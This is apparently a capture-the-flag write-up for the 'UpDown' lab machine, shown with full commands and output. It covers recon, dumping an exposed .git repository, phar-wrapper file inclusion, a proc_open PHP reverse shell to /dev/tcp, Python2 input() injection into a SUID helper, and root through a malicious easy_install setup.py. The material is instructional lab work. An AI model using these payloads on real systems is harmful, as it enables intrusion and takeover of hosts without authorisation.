Machine Info
- Medium-difficulty Linux machine with SSH and Apache exposed.
- The Apache site hosts a web app that checks whether a webpage is up.
- A
.gitdirectory is found on the server and can be downloaded. - The downloaded repo reveals source code for a
devsubdomain. - The
devsubdomain is only accessible when a special HTTP header is supplied. - The
devsubdomain accepts file uploads. - Unsafe handling of uploads allows remote code execution via the
phar://PHP wrapper. - Pivot: code is injected into a SUID Python helper to gain a shell as the
developeruser. - The
developeruser can runeasy_installviasudowithout a password. - By installing a malicious Python package with
easy_install(privileges are not dropped), the attacker can retain root access.
Reconnaissance
From nmap scanning, this host has two open ports: SSH(22) and HTTP(80).
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate=1000 -T4 10.129.227.227
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 16:00 EDT
Nmap scan report for 10.129.227.227
Host is up (0.039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 69.31 seconds
A service/version scan identified OpenSSH 8.2p1 and Apache httpd 2.4.41.
┌──(kali㉿kali)-[~]
└─$ nmap -p 22,80 -sV -Pn 10.129.227.227
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 16:02 EDT
Nmap scan report for 10.129.227.227
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.62 seconds
Accessing http://10.129.127.127:80 shows the siteisup.htb site.

I added siteisup.htb 10.129.127.127 to /etc/hosts.
┌──(kali㉿kali)-[~]
└─$ echo "10.129.227.227 siteisup.htb" | sudo tee -a /etc/hosts
10.129.227.227 siteisup.htb
To test the web app, I supplied http://127.0.0.1/ in the input field, enabled debug mode, and inspected the result

The application issues an HTTP request to the provided URL, and displays the response in the debug section.
HTTP/1.1 200 OK
Date: Sun, 19 Oct 2025 20:30:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1131
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ?</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">Here you can check if your website is up or down.</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="POST">
<label>Website to check:</label><br><br>
<input type="text" name="site" value="" placeholder="http://google.com">
<input type="checkbox" id="debug" name="debug" value="1">
<label for="debug"> Debug mode (On/Off) </label><br>
<input type="submit" value="Check">
</form>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb</p><br>
</footer>
</div>
</body>
</html>
The site’s homepage is reachable at siteisup.htb/index.php, indicating the site is built with PHP.

I ran feroxbuster against the site with the -x php option to enumerate .php endpoints; it returned the path http://siteisup.htb/dev/.
┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://siteisup.htb -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://siteisup.htb/
🚩 In-Scope Url │ siteisup.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 320l 675w 5531c http://siteisup.htb/stylesheet.css
301 GET 9l 28w 310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200 GET 40l 93w 1131c http://siteisup.htb/index.php
200 GET 40l 93w 1131c http://siteisup.htb/
200 GET 0l 0w 0c http://siteisup.htb/dev/index.php
[####################] - 57s 60005/60005 0s found:5 errors:0
[####################] - 56s 30000/30000 540/s http://siteisup.htb/
[####################] - 55s 30000/30000 543/s http://siteisup.htb/dev/
We also used wfuzz to fuzz for different vHosts; before running the command, verify the wordlist location:
┌──(kali㉿kali)-[~]
└─$ find / -iname "subdomains-top1million-5000.txt" 2>/dev/null
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
When the server (in this case, Apache) does not find a specific virtual host that matches the received Host: header, the default virtual host (or a wildcard configuration) usually responds with the same HTML content.
In this case, the response body length is 1131 bytes. I modified the wfuzz command to exclude responses with a length of 1131 bytes.
The fuzzer discovered the dev subdomain, which we add to /etc/hosts:
┌──(kali㉿kali)-[~]
└─$ wfuzz -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1131
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://siteisup.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 403 9 L 28 W 281 Ch "dev"
Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0
Add newly found subdomain to /etc/hosts
echo "10.129.227.227 dev.siteisup.htb" | sudo tee -a /etc/hosts
Visiting the subdomain returns 403 Forbidden.

Directory Enumeration
We’ll do more enumeration on the initial domain. Let’s search for directories using gobuster
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://siteisup.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/dev (Status: 301) [Size: 310] [--> http://siteisup.htb/dev/]
/index.php (Status: 200) [Size: 1131]
/server-status (Status: 403) [Size: 277]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
The output shows a dev directory (redirects to http://siteisup.htb/dev/) and index.php (200). Accessing /dev/returns a blank page (screenshot shown).

Let’s run Gobuster again, this time targeting the /dev/ directory.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://siteisup.htb/dev/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://siteisup.htb/dev/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.git/HEAD (Status: 200) [Size: 21]
/.htpasswd (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 0]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
There is a .git directory under dev.

We can use git-dumper to download the .git repository from the site:
git-dumper http://siteisup.htb/dev/.git dev
Before executing the command above, prepare the environment as follows:
$ sudo apt install -y git python3 python3-pip
$ git clone https://github.com/arthaud/git-dumper.git
$ cd git-dumper
$ python3 -m venv venv
$ source venv/bin/activate
$ python3 git_dumper.py http://siteisup.htb/dev/.git dev
Source Analysis
dev folder contains the following files:
┌──(venv)─(kali㉿kali)-[~/git-dumper/dev]
└─$ ls -la
total 40
drwxrwxr-x 3 kali kali 4096 Oct 21 16:15 .
drwxrwxr-x 5 kali kali 4096 Oct 21 13:34 ..
-rw-rw-r-- 1 kali kali 59 Oct 21 16:15 admin.php
-rw-rw-r-- 1 kali kali 147 Oct 21 16:15 changelog.txt
-rw-rw-r-- 1 kali kali 3145 Oct 21 16:15 checker.php
drwxrwxr-x 7 kali kali 4096 Oct 21 16:15 .git
-rw-rw-r-- 1 kali kali 117 Oct 21 16:15 .htaccess
-rw-rw-r-- 1 kali kali 273 Oct 21 16:15 index.php
-rw-rw-r-- 1 kali kali 5531 Oct 21 16:15 stylesheet.css
.htaccess
Take a look at the .htaccess file, which is an Apache configuration file used for redirecting traffic, blocking users, password-protecting directories, and other administrative functions.
It requires an HTTP header Special-Dev: only4dev to access the dev site:
┌──(venv)─(kali㉿kali)-[~/git-dumper/dev]
└─$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
index.php
It shows an “Admin Panel” link and unsafely includes user input (include($_GET['page'].".php")) with a weak blacklist (/bin|usr|home|var|etc/i), enabling LFI/traversal and stream-wrapper attacks (e.g. phar://) when uploads are writable:
┌──(venv)─(kali㉿kali)-[~/git-dumper/dev]
└─$ cat index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
admin.php
The script only blocks access if DIRECTACCESS is true, but since it isn’t defined, PHP will treat it as true and always show “Access Denied.”
┌──(venv)─(kali㉿kali)-[~/git-dumper/dev]
└─$ cat admin.php
<?php
if(DIRECTACCESS){
die("Access Denied");
}
#ToDo
?>
checker.php
If the request is a POST, it first ensures the uploaded file isn’t too large, then obtains the filename. Next, it checks the file extension against a denylist.
It creates a directory named uploads/ plus the MD5 hash of the current time and moves the file into that directory:
┌──(venv)─(kali㉿kali)-[~/git-dumper/dev]
└─$ cat checker.php
<?php
if(DIRECTACCESS){
die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
...snipped...
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
.phar is not blocked, so uploaded PHARs can be included.
Based on this, we can inspect uploaded files under uploads/; therefore avoid uploading files with these extensions: php, html, py, pl, phtml, zip, rar, gz, gzip, tar.
Subdomain Enumeration
Adding an HTTP header named Special-Dev with the value only4dev to access http://dev.siteisup.htb

Then I can access to the subdomain.

I created a simple info.php file and zipped it. When opened in a browser, info.php displays detailed PHP configuration (version, extensions, and settings), which is useful for debugging.
$ echo "<?php phpinfo(); ?>" > info.php
$ zip info.0xdf info.php
Upload the following file through [Browse...]

We found that info.0xdf was uploaded and displayed as the MD5 hash of the upload time:

Now on visiting http://dev.siteisup.htb/?page=phar://uploads/31ea285db7b1f2780612d1928f69e21f/info.0xdf/info; This revealed phpinfo() output — demonstrating PHAR-based inclusion and possible RCE:

This indicates remote code execution since we can run arbitrary PHP code. Unfortunately, the phpinfo() output shows functions such as system(), shell_exec(), and popen() are disabled, so we’ll need a different approach to gain a foothold.
However, proc_open is not listed as disabled.

Searching the web for the keywords php, disabled_functions, and bypass leads us to a tool called dfunc-bypasser, which automatically loops trough an array of dangerous functions that could produce a reverse shell and checks whether any are enabled on the target.
Before running the tool, ensure it sends the Special-Dev HTTP Header.
On line 38 of defunct-bypasser.py we found the relevant code:
if(args.url):
url = args.url
phpinfo = requests.get(url).text
We added the header as a parameter and ran the script.
if(args.url):
url = args.url
phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).text

The script we ran:
python3 defunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/31ea285db7b1f2780612d1928f69e21f/info.0xdf/info'
The run shows proc_open is not blocked. Next, upload the reverse shell as rev.0xdf through http://dev.siteisup.htb/:
<?php
$descspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.206/443 0>&1'";
$proc = proc_open($cmd, $descspec, $pipes);
Prepare the file for uploading:
$ zip rev.0xdf rev.php
We can find the file in uploaded site:

Start a listener on the attack machine
nc -lnvp 443
Then trigger RCE by accessing: http://dev.siteisup.htb/?page=phar://uploads/733ab2911c5132357f6629fa070541c9/rev.0xdf/rev

We successfully connect to the target server via the listener and receive a shell as the www-data user. Upgrade the shell using script and stty:
┌──(kali㉿kali)-[~/Documents]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.206] from (UNKNOWN) [10.129.227.227] 48784
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www/dev$ ^Z
zsh: suspended nc -lnvp 443
┌──(kali㉿kali)-[~/Documents]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 443
Lateral Movement
The html folder contains only an empty index.php, stylesheet.css and the .git directory:
www-data@updown:/var/www$ ls
dev html
www-data@updown:/var/www$ cd html
www-data@updown:/var/www/html$ ls -la
total 24
drwxr-xr-x 3 www-data www-data 4096 Jun 22 2022 .
drwxr-xr-x 4 www-data www-data 4096 Jun 22 2022 ..
drwxr-xr-x 3 www-data www-data 4096 Oct 20 2021 dev
-rw-r--r-- 1 www-data www-data 2505 Sep 20 2021 index.php
-rw-r--r-- 1 www-data www-data 5531 Aug 5 2021 stylesheet.css
There is one user on the box with a home directory in /home: developer.
www-data@updown:/home$ ls
developer
www-data@updown:/home$ cd developer
www-data@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 .
drwxr-xr-x 3 root root 4096 Jun 22 2022 ..
lrwxrwxrwx 1 root root 9 Jul 27 2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 2022 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 dev
-rw-r----- 1 root developer 33 Oct 25 14:11 user.txt
The user.txt file exists but is owned by root, so www-data cannot read it.
www-data@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied
Exploring the dev directory shows a setuid binary and a Python script.
A setuid binary is an executable with the set-user-ID bit set so that when run it executes with the file owner’s privileges (often root) instead of the invoking user’s.
www-data@updown:/home/developer$ cd dev
www-data@updown:/home/developer/dev$ ls -la
total 32
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
siteisup_test.py is written for Python2:
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
When run, it doesn’t work. That’s because in Python2, input() evaluates the input using eval, and my input isn’t valid python:
www-data@updown:/home/developer/dev$ python2 siteisup_test.py
Enter URL here:http://10.10.14.206/test
Traceback (most recent call last):
File "siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
http://10.10.14.206/test
^
Running strings on the application reveals that it calls the python script from within the application.
www-data@updown:/home/developer/dev$ strings -n 20 siteisup
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
deregister_tm_clones
__do_global_dtors_aux
__do_global_dtors_aux_fini_array_entry
__frame_dummy_init_array_entry
_GLOBAL_OFFSET_TABLE_
_ITM_deregisterTMCloneTable
setresuid@@GLIBC_2.2.5
setresgid@@GLIBC_2.2.5
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
getegid@@GLIBC_2.2.5
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
Injecting __import__('os').system('id') executes commands as www-data. Running the setuid binary spawns a shell as developer, but I can’t read user.txt because it is owned by root
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
developer@updown:/home/developer/dev$ cd ..
developer@updown:/home/developer$ ls -l
total 8
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 dev
-rw-r----- 1 root developer 33 Oct 25 14:11 user.txt
developer@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied
The developer’s .ssh directory contains an RSA key-pair.
developer@updown:/home/developer$ ls -la
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 .
drwxr-xr-x 3 root root 4096 Jun 22 2022 ..
lrwxrwxrwx 1 root root 9 Jul 27 2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 2022 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 dev
-rw-r----- 1 root developer 33 Oct 25 14:11 user.txt
developer@updown:/home/developer$ cd .ssh
developer@updown:/home/developer/.ssh$ ls -la
total 20
drwx------ 2 developer developer 4096 Aug 2 2022 .
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
-rw-rw-r-- 1 developer developer 572 Aug 2 2022 authorized_keys
-rw------- 1 developer developer 2602 Aug 2 2022 id_rsa
-rw-r--r-- 1 developer developer 572 Aug 2 2022 id_rsa.pub
The public key matches authorized_keys.
developer@updown:/home/developer/.ssh$ md5sum authorized_keys id_rsa.pub
4ecdaf650dc5b78cb29737291233fe99 authorized_keys
4ecdaf650dc5b78cb29737291233fe99 id_rsa.pub
developer@updown:/home/developer/dev$ cat /home/developer/.ssh/id_rsa
Using the private key, we SSH into the box as developer:
┌──(kali㉿kali)-[~/git-dumper/dev]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~/git-dumper/dev]
└─$ ssh -i id_rsa -oKexAlgorithms=diffie-hellman-group14-sha256 developer@10.129.48.175
...[snip]...
Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$
Now, we can get the content of user.txt
developer@updown:~$ ls
dev user.txt
developer@updown:~$ cat user.txt
Privilege Escalation
After logging in via SSH, execute sudo -l to list the commands the current user is allowed (or denied) to run with sudo.
The user developer can run easy_install as root without a password.
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
easy_install is a Python module bundled with setuptools that automatically downloads, builds, installs, and manages Python packages. But it is deprecated. (see setuptools docs)
It can be abused to escape restricted environments by spawning an interactive system shell. (see GTFOBins)
we can use it to escalate from the current user to root.
developer@updown:~$ sudo easy_install $TF
error: No urls, filenames, or requirements specified (see --help)
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.jKbm2Tkfsq
Writing /tmp/tmp.jKbm2Tkfsq/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.jKbm2Tkfsq/egg-dist-tmp-MTm3hd
Now, we can access the resource with root privileges.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt